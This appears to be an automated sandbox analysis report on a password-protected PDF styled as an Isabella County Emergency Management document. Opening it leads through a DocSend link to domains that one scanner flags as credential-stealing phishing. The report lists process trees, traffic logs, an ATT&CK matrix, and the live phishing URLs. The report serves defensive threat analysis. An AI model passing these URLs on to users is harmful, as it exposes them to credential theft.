Edit tour

Windows Analysis Report
Isabella County Emergency Management-protected.pdf

Overview

General Information

Sample name:	Isabella County Emergency Management-protected.pdf
Analysis ID:	1559487
MD5:	3b4c9538dbd281a021562bfbb0d65f97
SHA1:	922ed7aded2eac1f69d1f38cb21c8060eb6cf86a
SHA256:	d5753eb9a00e56a6a9fb2ba42a7e5b5f7e93a1bf0c92e40dc1b27120121442dd
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected suspicious crossdomain redirect

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PDF is encrypted

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

Acrobat.exe (PID: 6932 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Isabella County Emergency Management-protected.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6616 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 3600 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1592,i,9613781314171281216,15614131113156459489,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 8012 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://docsend.com/view/dsvnm326mjtbt7np MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6988 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1936,i,15943437824078859451,4303776454748701874,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1473497627:1732110465:VyCOkHO-TwwNXlMDYoynBhrxVToIwMTizF7Uj1dTvjY/8e5935826bf00f3e/hrgHGbcxXEhuDn3W7nMOe8g1AooXueRpKQCRH5i0MrM-1732113771-1.1.1.1-0B54QtazdcSFZTKgpBU7bPjw9ScnMUP.BbDTOLwMOuAnGgHY68Cd528WhLnA1RRK HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3426sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: hrgHGbcxXEhuDn3W7nMOe8g1AooXueRpKQCRH5i0MrM-1732113771-1.1.1.1-0B54QtazdcSFZTKgpBU7bPjw9ScnMUP.BbDTOLwMOuAnGgHY68Cd528WhLnA1RRKsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m5qwh/0x4AAAAAAAzzOG3WgTHOL0Qf/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 14:42:57 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: HITAge: 67Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NdJiS%2BDrsg2P0Dki7MmM763v4EGQ5TfFydCXc94q4i1EZHyZmSHQyXuUC2%2FW4TLorjiVdNio76eLDTuXIGHWu4WuGB6WMgmiVtiEaud%2Fga%2BTuJqLo5BkbZM9evPZN3v2R8s9AnM%2BDT4C%2FHcOnpWN"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e5935a45dfc0c7c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1504&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2858&recv_bytes=1242&delivery_rate=1796923&cwnd=129&unsent_bytes=0&cid=4f95df1461162a07&ts=511&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 14:42:58 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: 8Cp5Qt2cMV6llDEI4gF6tZZHmgbx4IVmylk=$rM9QT/55Yf2uJJqacache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8e5935abf9c142ad-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 14:43:05 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: 5Qtf0X3fEkXPdejdAuunr6uDg1T+f1CdQbU=$N/N7TOcvan2f86fIServer: cloudflareCF-RAY: 8e5935d4bc6f43e0-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 14:43:10 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: YSln6pcblfsARltdBVlCjxbbpb1Hugj+tJ8=$XFV/GZdPaJAjI81RServer: cloudflareCF-RAY: 8e5935f89d8418b4-EWRalt-svc: h3=":443"; ma=86400

Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: chromecache_171.15.dr, chromecache_158.15.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: 0d326470-8734-41b7-9c24-d31699bb05de.tmp.9.dr	String found in binary or memory: https://chrome.cloudflare-dns.com
Source: chromecache_165.15.dr, chromecache_172.15.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_163.15.dr, chromecache_170.15.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_163.15.dr, chromecache_165.15.dr, chromecache_172.15.dr, chromecache_170.15.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_163.15.dr, chromecache_165.15.dr, chromecache_172.15.dr, chromecache_170.15.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49719 version: TLS 1.2

Source: classification engine

Classification label: mal48.winPDF@32/66@37/17

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-11-20 09-41-16-633.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Isabella County Emergency Management-protected.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1592,i,9613781314171281216,15614131113156459489,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://docsend.com/view/dsvnm326mjtbt7np
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1936,i,15943437824078859451,4303776454748701874,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://docsend.com/view/dsvnm326mjtbt7np	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1592,i,9613781314171281216,15614131113156459489,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1936,i,15943437824078859451,4303776454748701874,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.14.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.14.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.14.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.14.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.14.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.14.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Isabella County Emergency Management-protected.pdf	Initial sample: PDF keyword /JS count = 0
Source: Isabella County Emergency Management-protected.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: Isabella County Emergency Management-protected.pdf

Initial sample: PDF keyword /Encrypt count = 2

Source: Isabella County Emergency Management-protected.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: Isabella County Emergency Management-protected.pdf

Initial sample: PDF keyword /Encrypt

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Isabella County Emergency Management-protected.pdf	0%	ReversingLabs

Source	Detection	Scanner	Label
https://abbcc.appforconstruction.com/cGYxp/	100%	SlashNext	Credential Stealing type: Phishing & Social Engineering
https://1381488073.constructionfederal.com/next.php	0%	Avira URL Cloud	safe
https://1381488073-1323985617.cos.na-siliconvalley.myqcloud.com/bootstrap.min.js	0%	Avira URL Cloud	safe
https://abbcc.appforconstruction.com/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
stackpath.bootstrapcdn.com	104.18.11.207	true	false	high
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
code.jquery.com	151.101.194.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
cos.na-siliconvalley.myqcloud.com	170.106.97.195	true	false	high
1381488073.constructionfederal.com	162.241.71.126	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
maxcdn.bootstrapcdn.com	104.18.11.207	true	false	high
www.google.com	172.217.21.36	true	false	high
abbcc.appforconstruction.com	172.67.195.135	true	false	high
1381488073-1323985617.cos.na-siliconvalley.myqcloud.com	unknown	unknown	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://abbcc.appforconstruction.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/turnstile/v0/b/22755d9a86c9/api.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8e5935826bf00f3e&lang=auto	false		high
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m5qwh/0x4AAAAAAAzzOG3WgTHOL0Qf/auto/fbE/normal/auto/	false		high
